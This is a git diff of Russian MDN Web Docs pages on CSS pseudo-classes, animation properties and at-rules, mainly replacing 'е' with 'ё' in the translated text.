      diff --git a/files/ru/web/css/_colon_first-child/index.html b/files/ru/web/css/_colon_first-child/index.html index d31fc8acd2..927a3a5098 100644 --- a/files/ru/web/css/_colon_first-child/index.html +++ b/files/ru/web/css/_colon_first-child/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:first-child'
      >
       /* Выбирает любой <p>, который является первым элементом
      -   среди своих братьев и сестер */
      +   среди своих братьев и сестёр */
       p:first-child {
         color: lime;
       }
      diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html index 3156d5c66e..a509c175d3 100644 --- a/files/ru/web/css/_colon_focus-visible/index.html +++ b/files/ru/web/css/_colon_focus-visible/index.html @@ -17,7 +17,7 @@ translation_of: 'Web/CSS/:focus-visible'

      Базовый пример

      -

      В этом примере селектор :focus-visible использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щелкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью :focus.

      +

      В этом примере селектор :focus-visible использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щёлкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью :focus.

      <input value="Default styles"><br>
       <button>Default styles</button><br>
      diff --git a/files/ru/web/css/_colon_focus/index.html b/files/ru/web/css/_colon_focus/index.html
      index 206b74a0e9..af809f7761 100644
      --- a/files/ru/web/css/_colon_focus/index.html
      +++ b/files/ru/web/css/_colon_focus/index.html
      @@ -102,7 +102,7 @@ input:focus {
       

      Поддержка браузерами

      - +

      {{Compat("css.selectors.focus")}}

      diff --git a/files/ru/web/css/_colon_fullscreen/index.html b/files/ru/web/css/_colon_fullscreen/index.html index 5dc0c1afec..c527af137f 100644 --- a/files/ru/web/css/_colon_fullscreen/index.html +++ b/files/ru/web/css/_colon_fullscreen/index.html @@ -2,7 +2,7 @@ title: ':fullscreen' slug: 'Web/CSS/:fullscreen' tags: - - Верстка + - Вёрстка - полноэкранный режим - псевдокласс - экран @@ -36,7 +36,7 @@ translation_of: 'Web/CSS/:fullscreen' <button id="fs-toggle">Toggle Fullscreen</button>
      -

      {{HTMLElement("button")}} с ID "fs-toggle" будет изменятся между бледно-красный и бледно-зеленый в зависимости от того, находится ли документ в полноэкранном режиме.

      +

      {{HTMLElement("button")}} с ID "fs-toggle" будет изменятся между бледно-красный и бледно-зелёный в зависимости от того, находится ли документ в полноэкранном режиме.

      CSS

      diff --git a/files/ru/web/css/_colon_indeterminate/index.html b/files/ru/web/css/_colon_indeterminate/index.html index d4cf598129..e601e36af1 100644 --- a/files/ru/web/css/_colon_indeterminate/index.html +++ b/files/ru/web/css/_colon_indeterminate/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:indeterminate'

      CSS псевдокласс :indeterminate находит элементы в неопределённом состоянии.

      -
      /* Выбирает все элементы <input>, которые находятся в неопределенном состоянии */
      +
      /* Выбирает все элементы <input>, которые находятся в неопределённом состоянии */
       input:indeterminate {
         background: lime;
       }
      @@ -32,7 +32,7 @@ input:indeterminate {

      Чекбокс и радио переключатели

      -

      В этом примере специальные стили применяются к меткам, которые привязаны к неопределенным полям формы.

      +

      В этом примере специальные стили применяются к меткам, которые привязаны к неопределённым полям формы.

      HTML

      diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html index cd8f1848d1..d365dfa795 100644 --- a/files/ru/web/css/_colon_is/index.html +++ b/files/ru/web/css/_colon_is/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:is'

      :is() это функция псевдокласс CSS принимающая список селекторов как аргумент, и выбирает любой элемент, который может быть выбран одним из селекторов в этом списке. Это полезно при переписи огромных селекторов в более компактную форму.

      -

      Заметьте, что в данный момент браузеры поддерживают ее функционал как :matches(), или даже как более старый, префиксный псевдокласс — :any(), включая старые версии Chrome, Firefox, и Safari. :any() работает точно таким же образом как и :matches()/:is(), за исключением того, что  :any() требует постановку префиксов и не поддерживает комплексные селекторы.

      +

      Заметьте, что в данный момент браузеры поддерживают её функционал как :matches(), или даже как более старый, префиксный псевдокласс — :any(), включая старые версии Chrome, Firefox, и Safari. :any() работает точно таким же образом как и :matches()/:is(), за исключением того, что  :any() требует постановку префиксов и не поддерживает комплексные селекторы.

      /* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */
       :is(header, main, footer) p:hover {
      @@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:is'
         cursor: pointer;
       }
       
      -/* Пример приведенный выше эквивалентен следующему */
      +/* Пример приведённый выше эквивалентен следующему */
       header p:hover,
       main p:hover,
       footer p:hover {
      diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html
      index 88f406851d..8a9fcbb9b2 100644
      --- a/files/ru/web/css/_colon_left/index.html
      +++ b/files/ru/web/css/_colon_left/index.html
      @@ -2,7 +2,7 @@
       title: ':left'
       slug: 'Web/CSS/:left'
       tags:
      -  - Верстка
      +  - Вёрстка
         - Псевдоклассы
       translation_of: 'Web/CSS/:left'
       ---
      diff --git a/files/ru/web/css/_colon_target/index.html b/files/ru/web/css/_colon_target/index.html
      index 46d0f88746..d3f5c5a0ef 100644
      --- a/files/ru/web/css/_colon_target/index.html
      +++ b/files/ru/web/css/_colon_target/index.html
      @@ -2,7 +2,7 @@
       title: ':target'
       slug: 'Web/CSS/:target'
       tags:
      -  - Верстка
      +  - Вёрстка
         - Псевдоклассы
       translation_of: 'Web/CSS/:target'
       ---
      @@ -153,7 +153,7 @@ p:target i {
         cursor: pointer;
       }
       
      -/* Обертка lightbox  */
      +/* Обёртка lightbox  */
       .lightbox .close::before {
         left: 0;
         top: 0;
      diff --git a/files/ru/web/css/_colon_visited/index.html b/files/ru/web/css/_colon_visited/index.html
      index f4288a183b..c1b516e912 100644
      --- a/files/ru/web/css/_colon_visited/index.html
      +++ b/files/ru/web/css/_colon_visited/index.html
      @@ -12,9 +12,9 @@ translation_of: 'Web/CSS/:visited'
       

      CSS псевдокласс :visited позволяет вам выбирать ссылки, которые были посещены. Этот стиль может переопределяться другими относящимися к ссылкам псевдоклассами, такими как {{ cssxref(":link") }}, {{ cssxref(":hover") }} и {{ cssxref(":active") }}, появляющимися в соответствующем порядке. Чтобы стилизировать ссылки должным образом, вам нужно вставлять правило :visited до правила :link, но после других, определённых LVHA-порядком: :link:visited:hover:active.

      -

      Замечание: Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдокласс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, fill и stroke. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосвященных ссылок вместо него (но если прозрачность - 0, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосвященных ссылок).

      +

      Замечание: Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдокласс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, fill и stroke. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосвящённых ссылок вместо него (но если прозрачность - 0, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосвящённых ссылок).

      -

      Несмотря на то, что цвет может меняться, метод getComputedStyle наврёт и всегда будет давать значение цвета непосвященных ссылок.

      +

      Несмотря на то, что цвет может меняться, метод getComputedStyle наврёт и всегда будет давать значение цвета непосвящённых ссылок.

      Для дополнительной информации об ограничениях и их причин, смотрите Приватность и селектор :visited.

      diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html index 3eb34a7c0e..5a7b922577 100644 --- a/files/ru/web/css/_colon_where/index.html +++ b/files/ru/web/css/_colon_where/index.html @@ -14,13 +14,13 @@ translation_of: 'Web/CSS/:where'
      /* Выбирает любой параграф внутри header, main
      -   или footer на который наведен курсор мыши */
      +   или footer на который наведён курсор мыши */
       :where(header, main, footer) p:hover {
         color: red;
         cursor: pointer;
       }
       
      -/* Пример приведенный выше эквивалентен следующему */
      +/* Пример приведённый выше эквивалентен следующему */
       header p:hover,
       main p:hover,
       footer p:hover {
      @@ -54,7 +54,7 @@ footer p:hover {
       
       

      В этом примере показывается как работает :where(), а так же демонстрируется разница между :where() и :is().

      -

      Возьмем следующий HTML-код:

      +

      Возьмём следующий HTML-код:

      <article>
         <h2>:is()-styled links</h2>
      @@ -109,7 +109,7 @@ footer p:hover {
         color: blue;
       }
      -

      Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри :is() выше, чем специфичность селектора вышеприведенного кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.

      +

      Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри :is() выше, чем специфичность селектора вышеприведённого кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.

      В то время как, селекторы перечисленные внутри :where() имеют нулевую специфичность, поэтому оранжевая ссылка в футере будет переопределена простым селектором и станет синего цвета.

      diff --git a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html index 635676abae..a23502ee59 100644 --- a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html +++ b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html @@ -18,7 +18,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar'

      HTML

      <progress value="30" max="100">30%</progress>
      -<progress max="100">Неопределенный бар прогресса</progress>
      +<progress max="100">Неопределённый бар прогресса</progress>

      CSS

      @@ -26,7 +26,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar' background-color: red; } -/* Задает неопределенным барам нулевую ширину */ +/* Задаёт неопределённым барам нулевую ширину */ :indeterminate::-moz-progress-bar { width: 0; }
      diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html index d0663700f2..34e36b8578 100644 --- a/files/ru/web/css/_doublecolon_slotted/index.html +++ b/files/ru/web/css/_doublecolon_slotted/index.html @@ -5,16 +5,16 @@ translation_of: 'Web/CSS/::slotted' ---
      {{ CSSRef }}
      -

      CSS псевдо-элемент ::slotted() представляет собой любой элемент, помещенный в слот внутри HTML-шаблона (дополнительная информация в Using templates and slots).

      +

      CSS псевдо-элемент ::slotted() представляет собой любой элемент, помещённый в слот внутри HTML-шаблона (дополнительная информация в Using templates and slots).

      -

      Это работает только при использовании внутри CSS, помещенного в shadow DOM. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещенный в слот; он нацелен только на фактические элементы.

      +

      Это работает только при использовании внутри CSS, помещённого в shadow DOM. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещённый в слот; он нацелен только на фактические элементы.

      -
      /* Выбирает любой элемент, помещенный в слот */
      +
      /* Выбирает любой элемент, помещённый в слот */
       ::slotted(*) {
         font-weight: bold;
       }
       
      -/* Выбирает только <span>, помещенный в слот */
      +/* Выбирает только <span>, помещённый в слот */
       ::slotted(span) {
         font-weight: bold;
       }
      @@ -64,7 +64,7 @@ translation_of: 'Web/CSS/::slotted'
         }
       })
      -

      Вы увидите, что при заполнении элемента style содержимым мы выбираем все  slotted-элементы (::slotted(*)) и задаем им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые еще не были успешно заполнены.

      +

      Вы увидите, что при заполнении элемента style содержимым мы выбираем все  slotted-элементы (::slotted(*)) и задаём им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые ещё не были успешно заполнены.

      Элемент выглядит следующим образом при вставке на страницу:

      diff --git a/files/ru/web/css/adjacent_sibling_combinator/index.html b/files/ru/web/css/adjacent_sibling_combinator/index.html index 42893ac5e3..d5762bba46 100644 --- a/files/ru/web/css/adjacent_sibling_combinator/index.html +++ b/files/ru/web/css/adjacent_sibling_combinator/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator ---

      {{CSSRef("Selectors")}}

      -

      Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определенным в первой части элементом.

      +

      Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определённым в первой части элементом.

      Синтакс

      @@ -29,7 +29,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator

      {{EmbedLiveSample('Example_1', 200, 100)}}

      -

      Так же может использоваться для задания стиля определенного класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:

      +

      Так же может использоваться для задания стиля определённого класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:

      img + span.caption {
         font-style: italic;
      diff --git a/files/ru/web/css/align-items/index.html b/files/ru/web/css/align-items/index.html
      index 9d5a7f5843..705ea1dea0 100644
      --- a/files/ru/web/css/align-items/index.html
      +++ b/files/ru/web/css/align-items/index.html
      @@ -42,10 +42,10 @@ align-items: unset;
        
      normal
      Эффект этого ключевого слова зависит от режима макета, в котором мы находимся::
        -
      • В абсолютно позиционированных макетах ключевое слово ведет себя как start в замененных абсолютно позиционированных блоках, и как stretch во всех других абсолютно позиционированных блоках.
      • -
      • В статическом положении абсолютно позиционированных макетов ключевое слово ведет себя как stretch.
      • -
      • Для гибких элементов ключевое слово ведет себя как stretch.
      • -
      • Для элементов сетки это ключевое слово ведет к поведению, аналогичному stretch, за исключением полей с соотношением сторон или внутренних размеров, где оно ведет себя как start.
      • +
      • В абсолютно позиционированных макетах ключевое слово ведёт себя как start в заменённых абсолютно позиционированных блоках, и как stretch во всех других абсолютно позиционированных блоках.
      • +
      • В статическом положении абсолютно позиционированных макетов ключевое слово ведёт себя как stretch.
      • +
      • Для гибких элементов ключевое слово ведёт себя как stretch.
      • +
      • Для элементов сетки это ключевое слово ведёт к поведению, аналогичному stretch, за исключением полей с соотношением сторон или внутренних размеров, где оно ведёт себя как start.
      • Это свойство не применяется к блокам уровня блока и к ячейкам таблицы.
      diff --git a/files/ru/web/css/all/index.html b/files/ru/web/css/all/index.html index 632ac959d2..1510ac6c3b 100644 --- a/files/ru/web/css/all/index.html +++ b/files/ru/web/css/all/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/all

      Описание

      -

      Сокращенное свойство CSS all сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.

      +

      Сокращённое свойство CSS all сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.

      {{cssinfo}}

      @@ -78,7 +78,7 @@ blockquote { blockquote { background-color: skyblue; color: red; }
      {{EmbedLiveSample("ex0", "200", "125")}} -

      {{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определенным фоном и цветом текста. Он также ведет себя как block элемент : текст, который следует за ним, находится под ним.

      +

      {{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определённым фоном и цветом текста. Он также ведёт себя как block элемент : текст, который следует за ним, находится под ним.

      diff --git a/files/ru/web/css/angle/index.html b/files/ru/web/css/angle/index.html index 782c6c4fe5..c4a228aca3 100644 --- a/files/ru/web/css/angle/index.html +++ b/files/ru/web/css/angle/index.html @@ -46,7 +46,7 @@ translation_of: Web/CSS/angle Angle180.png - Развернутый угол: 180deg = 200grad = 0.5turn 3.1416rad + Развёрнутый угол: 180deg = 200grad = 0.5turn 3.1416rad AngleMinus90.png diff --git a/files/ru/web/css/animation-delay/index.html b/files/ru/web/css/animation-delay/index.html index 55e5c537eb..48c0109f18 100644 --- a/files/ru/web/css/animation-delay/index.html +++ b/files/ru/web/css/animation-delay/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-delay

      Значение 0s, которое является значением по умолчанию, указывает на то, что анимация должна начаться непременно. В противном случае, старт анимации будет отложен на указанное время.

      -

      При указании отрицательного значения, анимация также начнется непременно, но ее воспроизведение начнется не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.

      +

      При указании отрицательного значения, анимация также начнётся непременно, но её воспроизведение начнётся не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.

      {{cssinfo}}

      diff --git a/files/ru/web/css/animation-direction/index.html b/files/ru/web/css/animation-direction/index.html index 52d0de3720..f07376ed79 100644 --- a/files/ru/web/css/animation-direction/index.html +++ b/files/ru/web/css/animation-direction/index.html @@ -7,9 +7,9 @@ translation_of: Web/CSS/animation-direction

      Описание

      -

      CSS-свойство animation-direction определяет, должна ли анимация воспроизводиться вперед, назад или переменно вперед и назад.
      +

      CSS-свойство animation-direction определяет, должна ли анимация воспроизводиться вперёд, назад или переменно вперёд и назад.

      - Также удобно использовать сокращенное свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.

      + Также удобно использовать сокращённое свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.

      {{cssinfo}}

      @@ -35,7 +35,7 @@ animation-direction: unset;
      normal
      -
      Анимация проигрывается вперед каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в начальное положение и снова проигрывается. Это значение по умолчанию.
      +
      Анимация проигрывается вперёд каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в начальное положение и снова проигрывается. Это значение по умолчанию.
      reverse
      Анимация проигрывается наоборот, с последнего положения до первого и потом снова сбрасывается в конечное положение и снова проигрывается.
      alternate
      diff --git a/files/ru/web/css/animation-duration/index.html b/files/ru/web/css/animation-duration/index.html index 7ca194463f..65e47aea2b 100644 --- a/files/ru/web/css/animation-duration/index.html +++ b/files/ru/web/css/animation-duration/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-duration

      Значение по умолчанию 0s определяет, что анимация не должна выполняться.

      -

      Удобно использовать сокращенное свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.

      +

      Удобно использовать сокращённое свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.

      {{cssinfo}}

      diff --git a/files/ru/web/css/animation-fill-mode/index.html b/files/ru/web/css/animation-fill-mode/index.html index 2549e3ac2d..855d8dad42 100644 --- a/files/ru/web/css/animation-fill-mode/index.html +++ b/files/ru/web/css/animation-fill-mode/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/animation-fill-mode

      Описание

      -

      CSS свойство animation-fill-mode определяет, как нужно применять стили к объекту анимации до и после ее выполнения.

      +

      CSS свойство animation-fill-mode определяет, как нужно применять стили к объекту анимации до и после её выполнения.

      {{cssinfo}}

      @@ -32,7 +32,7 @@ animation-fill-mode: both, forwards, none;
      none
      -
      Стили анимации не будут применены к элементу до и после ее выполнения.
      +
      Стили анимации не будут применены к элементу до и после её выполнения.
      forwards
      По окончании анимации элемент сохранит стили последнего ключевого кадра, который определяется значениями {{cssxref("animation-direction")}} и {{cssxref("animation-iteration-count")}}: @@ -56,22 +56,22 @@ animation-fill-mode: both, forwards, none; - + - + - + - + @@ -114,8 +114,8 @@ animation-fill-mode: both, forwards, none;
      <p>Наведите курсор мыши на серый блок</p>
       <div class="demo">
      -  <div class="grows">Этот просто растет</div>
      -  <div class="growsandstays">Этот растет и остается большим</div>
      +  <div class="grows">Этот просто растёт</div>
      +  <div class="growsandstays">Этот растёт и остаётся большим</div>
       </div>

      CSS

      diff --git a/files/ru/web/css/animation-iteration-count/index.html b/files/ru/web/css/animation-iteration-count/index.html index 653e843e65..9039dcfedb 100644 --- a/files/ru/web/css/animation-iteration-count/index.html +++ b/files/ru/web/css/animation-iteration-count/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-iteration-count

      CSS свойство animation-iteration-count определяет сколько раз будет проигрываться анимационный цикл, перед тем как остановиться.

      -

      Наиболее удобно использовать это свойство в сокращенном варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.

      +

      Наиболее удобно использовать это свойство в сокращённом варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.

      {{cssinfo}}

      @@ -36,7 +36,7 @@ animation-iteration-count: 2, 0, infinite;
      infinite
      Анимация повторяется бесконечно.
      <number>
      -
      Сколько раз анимация будет повторяться; по умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведет половину анимационного цикла).
      +
      Сколько раз анимация будет повторяться; по умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведёт половину анимационного цикла).

      Правила синтаксиса

      diff --git a/files/ru/web/css/animation-name/index.html b/files/ru/web/css/animation-name/index.html index 2e6ff16b28..a81e2e82d6 100644 --- a/files/ru/web/css/animation-name/index.html +++ b/files/ru/web/css/animation-name/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-name -

      Часто удобно использовать сокращенное свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.

      +

      Часто удобно использовать сокращённое свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.

      Синтаксис

      @@ -40,7 +40,7 @@ animation-name: unset
      none
      Это специальное ключевое слово, обозначающее отсутствие ключевых кадров. Оно может быть использовано для отключения анимации без изменения порядка других идентификаторов, или для отключения анимации, поступающей из каскада.
      {{cssxref("custom-ident","<custom-ident>")}}
      -
      Строка, идентифицирующая анимацию. Этот идентификатор состоит из комбинации букв без учета регистра от a до z, цифр от 0 до 9, подчеркивания (_), и/или черты (-). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть none, unset, initial, или inherit в любой комбинации случаев.
      +
      Строка, идентифицирующая анимацию. Этот идентификатор состоит из комбинации букв без учёта регистра от a до z, цифр от 0 до 9, подчёркивания (_), и/или черты (-). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть none, unset, initial, или inherit в любой комбинации случаев.

      Формальный синтаксис

      diff --git a/files/ru/web/css/animation-play-state/index.html b/files/ru/web/css/animation-play-state/index.html index 293765d1e9..fc92ee5605 100644 --- a/files/ru/web/css/animation-play-state/index.html +++ b/files/ru/web/css/animation-play-state/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/animation-play-state

      Свойство animation-play-state определяет состояние анимации, паузы или проигрыша. Это можно использовать, чтобы определить текущее состояние анимации, например, в скриптах.

      -

      Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнется с начала.

      +

      Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнётся с начала.

      {{cssinfo}}

      diff --git a/files/ru/web/css/animation-timing-function/index.html b/files/ru/web/css/animation-timing-function/index.html index 5b4d0660b6..5e0e2e857d 100644 --- a/files/ru/web/css/animation-timing-function/index.html +++ b/files/ru/web/css/animation-timing-function/index.html @@ -50,7 +50,7 @@ translation_of: Web/CSS/animation-timing-function
      <timingfunction>
      -
      Каждый {{cssxref("<timing-function>")}} представляет функцию расчета времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.
      +
      Каждый {{cssxref("<timing-function>")}} представляет функцию расчёта времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.

      Формальный синтаксис

      diff --git a/files/ru/web/css/appearance/index.html b/files/ru/web/css/appearance/index.html index 3ae986fbd9..b84ac013b4 100644 --- a/files/ru/web/css/appearance/index.html +++ b/files/ru/web/css/appearance/index.html @@ -2624,7 +2624,7 @@ div{ color: black;

      Примеры

      -

      Нижеприведенный пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:

      +

      Нижеприведённый пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:

      .exampleone {
         -moz-appearance: toolbarbutton;
      diff --git a/files/ru/web/css/at-rule/index.html b/files/ru/web/css/at-rule/index.html
      index 38cf88c874..f318aebe28 100644
      --- a/files/ru/web/css/at-rule/index.html
      +++ b/files/ru/web/css/at-rule/index.html
      @@ -18,17 +18,17 @@ translation_of: Web/CSS/At-rule
       
      • {{cssxref("@charset")}} — Определяет кодировку символов, используемый таблицей стилей.
      • {{cssxref("@import")}} — Сообщает движку CSS включить внешнюю таблицу стилей.
      • -
      • {{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имен XML.
      • +
      • {{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имён XML.
      • Вложенные at-правила — Подмножество вложенных операторов, которые могут использоваться как оператор таблицы стилей, а также внутри правил условной группы.
          -
        • {{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определенного с помощью медиавыражения.
        • +
        • {{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определённого с помощью медиавыражения.
        • {{cssxref("@supports")}} — Условное групповое правило, которое будет применять его содержимое, если браузер соответствует критериям данного условия.
        • {{cssxref("@document")}} {{experimental_inline}} — Условное групповое правило, которое будет применять его содержимое, если документ, в котором применяется таблица стилей, соответствует критериям данного условия.
        • -
        • {{cssxref("@page")}} — Описывает аспект изменений макета, который будет применен при печати документа.
        • +
        • {{cssxref("@page")}} — Описывает аспект изменений макета, который будет применён при печати документа.
        • {{cssxref("@font-face")}} — Описывает аспект внешнего шрифта для загрузки.
        • {{cssxref("@keyframes")}} — Описывает аспект промежуточных шагов в последовательности анимации CSS.
        • {{cssxref("@viewport")}} {{experimental_inline}} — Описывает аспекты области просмотра для устройств с маленьким экраном. (в настоящее время на стадии разработки проекта)
        • -
        • {{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределенного набора стилей.
        • +
        • {{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределённого набора стилей.
        • {{cssxref("@font-feature-values")}} (плюс @swash, @ornaments, @annotation, @stylistic, @styleset и @character-variant)
          — Определите общие имена в {{cssxref("font-option-alternates")}} для функции, которая по-разному активируется в OpenType (at the Candidate Recommendation stage, but only implemented in Gecko as of writing)
        @@ -45,7 +45,7 @@ translation_of: Web/CSS/At-rule
      • {{cssxref("@document")}}. (deferred to Level 4 of CSS Spec)
      -

      Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределенное количество вложений.

      +

      Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределённое количество вложений.

      Характеристики

      diff --git a/files/ru/web/css/attribute_selectors/index.html b/files/ru/web/css/attribute_selectors/index.html index 2b8ac3861c..f2affc9d98 100644 --- a/files/ru/web/css/attribute_selectors/index.html +++ b/files/ru/web/css/attribute_selectors/index.html @@ -15,15 +15,15 @@ translation_of: Web/CSS/Attribute_selectors
      [attr=value]
      Обозначает элемент с именем атрибута attr и значением в точности совпадающим с value.
      [attr~=value]
      -
      Обозначает элемент с именем атрибута attr значением которого является набор слов разделенных пробелами, одно из которых в точности равно value
      +
      Обозначает элемент с именем атрибута attr значением которого является набор слов разделённых пробелами, одно из которых в точности равно value
      [attr|=value]
      Обозначает элемент с именем атрибута attr. Его значение при этом может быть или в точности равно "value" или может начинаться с "value" со сразу же следующим "-" (U+002D). Это может быть использовано когда язык описывается с подходом.
      [attr^=value]
      Обозначает элемент с именем атрибута attr значение которого начинается с "value"
      [attr$=value]
      -
      Обозначает элемент с именем атрибута attr чье значение заканчивается на "value"
      +
      Обозначает элемент с именем атрибута attr чьё значение заканчивается на "value"
      [attr*=value]
      -
      Обозначает элемент с именем атрибута attr чье значение содержит по крайней мере одно вхождение строки "value" как подстроки.
      +
      Обозначает элемент с именем атрибута attr чьё значение содержит по крайней мере одно вхождение строки "value" как подстроки.

      Пример

      @@ -31,13 +31,13 @@ translation_of: Web/CSS/Attribute_selectors
      /* Все span с атрибутом "lang" будут жирными */
       span[lang] {font-weight:bold;}
       
      -/* Все span в Португалии будут зелеными */
      +/* Все span в Португалии будут зелёными */
       span[lang="pt"] {color:green;}
       
       /* Все span с американским английским будут синими */
       span[lang~="en-us"] {color: blue;}
       
      -/* Любые span на китайском языке будут красными, как на упрощенном китайском (zh-CN) так и на традиционном (zh-TW) */
      +/* Любые span на китайском языке будут красными, как на упрощённом китайском (zh-CN) так и на традиционном (zh-TW) */
       span[lang|="zh"] {color: red;}
       
       /* Все внутренние ссылки будут иметь золотой фон */
      diff --git a/files/ru/web/css/backdrop-filter/index.html b/files/ru/web/css/backdrop-filter/index.html
      index b971c15abd..48b9e9cc09 100644
      --- a/files/ru/web/css/backdrop-filter/index.html
      +++ b/files/ru/web/css/backdrop-filter/index.html
      @@ -41,9 +41,9 @@ translation_of: Web/CSS/backdrop-filter
       
       
      none
      -
      Фильтр отключен для фона
      +
      Фильтр отключён для фона
      <filter-function-list>
      -
      Перечень фильтров, разделенных пробелами функций {{cssxref("<filter-function>")}} или SVG фильтра, которые применены для фона.
      +
      Перечень фильтров, разделённых пробелами функций {{cssxref("<filter-function>")}} или SVG фильтра, которые применены для фона.

      Формальный синтаксис

